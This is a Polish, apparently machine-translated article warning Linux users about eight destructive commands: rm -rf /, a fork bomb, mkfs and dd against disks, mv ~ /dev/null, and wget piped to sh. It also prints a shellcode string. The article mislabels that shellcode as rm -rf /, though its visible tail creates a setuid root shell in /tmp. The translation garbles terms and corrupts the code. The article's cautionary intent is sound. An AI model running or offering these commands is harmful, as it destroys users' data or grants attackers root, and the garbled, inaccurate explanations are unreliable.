Główna » jak » 8 zabójczych poleceń, których nigdy nie należy uruchamiać w systemie Linux

    8 zabójczych poleceń, których nigdy nie należy uruchamiać w systemie Linux

    Polecenia terminalowe Linuksa są potężne, a Linux nie poprosi cię o potwierdzenie, jeśli uruchomisz polecenie, które złamie twój system. Nierzadko zdarza się, że trolle online polecają nowym użytkownikom systemu Linux uruchamianie tych poleceń jako żartu.

    Poznanie poleceń, których nie powinieneś używać, może pomóc ci chronić trolle, jednocześnie zwiększając wiedzę na temat działania Linuksa. Nie jest to wyczerpujący przewodnik, a polecenia tutaj można zremiksować na różne sposoby.

    Zauważ, że wiele z tych poleceń będzie niebezpieczne tylko wtedy, gdy zostaną one poprzedzone prefiksem sudo na Ubuntu - nie będą działać inaczej. W innych dystrybucjach systemu Linux większość poleceń musi być uruchamiana jako root.

    Image Credit: Skull and Crossbones zremiksowany z Jason Ford na Twitterze

    rm -rf / - Usuwa wszystko!

    Komenda rm -rf / usuwa wszystko, co tylko możliwe, w tym pliki na dysku twardym i pliki na podłączonych nośnikach wymiennych. To polecenie jest bardziej zrozumiałe, jeśli jest zepsute:

    rm - Usuń następujące pliki.

    -rf - Uruchom rekursywnie rm (usuń wszystkie pliki i foldery wewnątrz określonego folderu) i wymuszaj - usuń wszystkie pliki bez pytania.

    / - Polecenie rm, aby rozpocząć w katalogu głównym, który zawiera wszystkie pliki na komputerze i wszystkie podłączone urządzenia multimedialne, w tym zdalne współudziały plików i dyski wymienne.

    Linux chętnie posłuży się tym poleceniem i usunie wszystko bez pytania, więc zachowaj ostrożność podczas korzystania z niego! Polecenie rm może być również użyte w inny niebezpieczny sposób - rm -rf ~ usunie wszystkie pliki w twoim katalogu domowym, podczas gdy rm -rf. * usunie wszystkie twoje pliki konfiguracyjne.

    Lekcja: Uwaga na rm -rf.

    Ukryte rm -rf /

    Oto kolejny fragment kodu w całej sieci:

    char esp [] __attribute__ ((sekcja (". text"))) / * e.s.p
    wydanie */
    = "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
    "\ Xff \ xff \ xff \ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99"
    "\ Xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7"
    "\ X56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56"
    "\ X8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31"
    "\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69"
    "\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00"
    "Cp -p / bin / sh /tmp/.beyond; chmod 4755
    /tmp/.beyond; ";

    To jest hexowa wersja rm -rf / - wykonanie tego polecenia wymazałoby twoje pliki tak, jakbyś uruchomił rm -rf /.

    Lekcja: Nie uruchamiaj dziwnie wyglądających, oczywiście zamaskowanych poleceń, których nie rozumiesz.

    : () : |: & ;: - Fork Bomb

    Następująca linia to prosta, ale niebezpieczna funkcja bash:

    : () : |: & ;:

    Ta krótka linia definiuje funkcję powłoki, która tworzy nowe kopie samego siebie. Proces nieustannie się replikuje, a jego kopie nieustannie się replikują, szybko zabierając cały czas procesora i pamięć. Może to spowodować zawieszenie się komputera. Jest to w zasadzie atak typu "odmowa usługi".

    Lekcja: Funkcje Basha są potężne, nawet bardzo krótkie.

    Image Credit: Dake na Wikimedia Commons

    mkfs.ext4 / dev / sda1 - formatuje dysk twardy

    The mkfs.ext4 / dev / sda1 polecenie jest proste do zrozumienia:

    mkfs.ext4 - Utwórz nowy system plików ext4 na następującym urządzeniu.

    / dev / sda1 - Określa pierwszą partycję na pierwszym dysku twardym, który prawdopodobnie jest w użyciu.

    Łącznie to polecenie może być równoważne uruchomieniowemu formatowi c: w systemie Windows - wyczyści pliki na pierwszej partycji i zastąpi je nowym systemem plików.

    To polecenie może również przybrać inne formy - mkfs.ext3 / dev / sdb2 sformatuje drugą partycję na drugim dysku twardym z systemem plików ext3.

    Lekcja: Uważaj, uruchamiając polecenia bezpośrednio na urządzeniach dysków twardych, które zaczynają się od / dev / sd.

    polecenie> / dev / sda - zapisuje bezpośrednio na dysku twardym

    The polecenie> / dev / sda linia działa podobnie - uruchamia polecenie i wysyła dane wyjściowe tego polecenia bezpośrednio na pierwszy dysk twardy, zapisując dane bezpośrednio na dysku twardym i uszkadzając system plików.

    dowództwo - Uruchom polecenie (może to być dowolne polecenie).

    > - Wyślij dane wyjściowe polecenia do następującej lokalizacji.

    / dev / sda - Zapisz dane wyjściowe polecenia bezpośrednio na urządzeniu dysku twardego.

    Lekcja: Jak wyżej, uważaj, uruchamiając polecenia, które dotyczą dysków twardych zaczynających się od / dev / sd.

    dd if = / dev / random of = / dev / sda - Zapisuje śmieci na twardym dysku

    The dd if = / dev / random z = / dev / sda linia spowoduje również zniszczenie danych na jednym z dysków twardych.

    dd - Wykonuj kopiowanie niskopoziomowe z jednej lokalizacji do drugiej.

    if = / dev / random - Jako dane wejściowe użyj / dev / random (dane losowe) - możesz również zobaczyć lokalizacje takie jak / dev / zero (zera).

    z = / dev / sda - Wyjście na pierwszy dysk twardy, zastępując jego system plików losowymi danymi śmieci.

    Lekcja: dd kopiuje dane z jednej lokalizacji do drugiej, co może być niebezpieczne, jeśli kopiujesz bezpośrednio na urządzenie.

    Image Credit: Matt Rudge na Flickr

    mv ~ / dev / null - przenosi Twój katalog domowy do czarnej dziury

    / dev / null to kolejna specjalna lokalizacja - przeniesienie czegoś do / dev / null to to samo, co jego zniszczenie. Pomyśl o / dev / null jako czarnej dziurze. Głównie, mv ~ / dev / null wysyła wszystkie twoje osobiste pliki do czarnej dziury.

    mv - Przenieś następujący plik lub katalog do innej lokalizacji.

    ~ - Reprezentuje cały katalog domowy.

    / dev / null - Przenieś swój katalog domowy do katalogu / dev / null, niszcząc wszystkie pliki i usuwając oryginalne kopie.

    Lekcja: Znak ~ reprezentuje twój katalog domowy, a przenoszenie elementów do / dev / null je niszczy.

    wget http://example.com/something -O - | sh - Pobieranie i uruchamianie skryptu

    Powyższa linia pobiera skrypt z sieci i wysyła go do sh, który wykonuje zawartość skryptu. Może to być niebezpieczne, jeśli nie masz pewności, co to jest skrypt lub jeśli nie ufasz jego źródłu - nie uruchamiaj niezaufanych skryptów.

    wget - Pobiera plik. (Możesz również zobaczyć curl zamiast wget.)

    http://example.com/ coś - Pobierz plik z tej lokalizacji.

    | - Przeprowadź (wyślij) dane wyjściowe polecenia wget (pobrany plik) bezpośrednio do innego polecenia.

    sh - Wyślij plik do polecenia sh, które wykonuje, jeśli jest to skrypt bash.

    Lekcja: Nie pobieraj i nie uruchamiaj niezaufanych skryptów z Internetu, nawet za pomocą polecenia.


    Znasz jakieś inne niebezpieczne polecenia, których nie powinni uruchamiać nowi (i doświadczeni) użytkownicy Linuksa? Pozostaw komentarz i udostępnij je!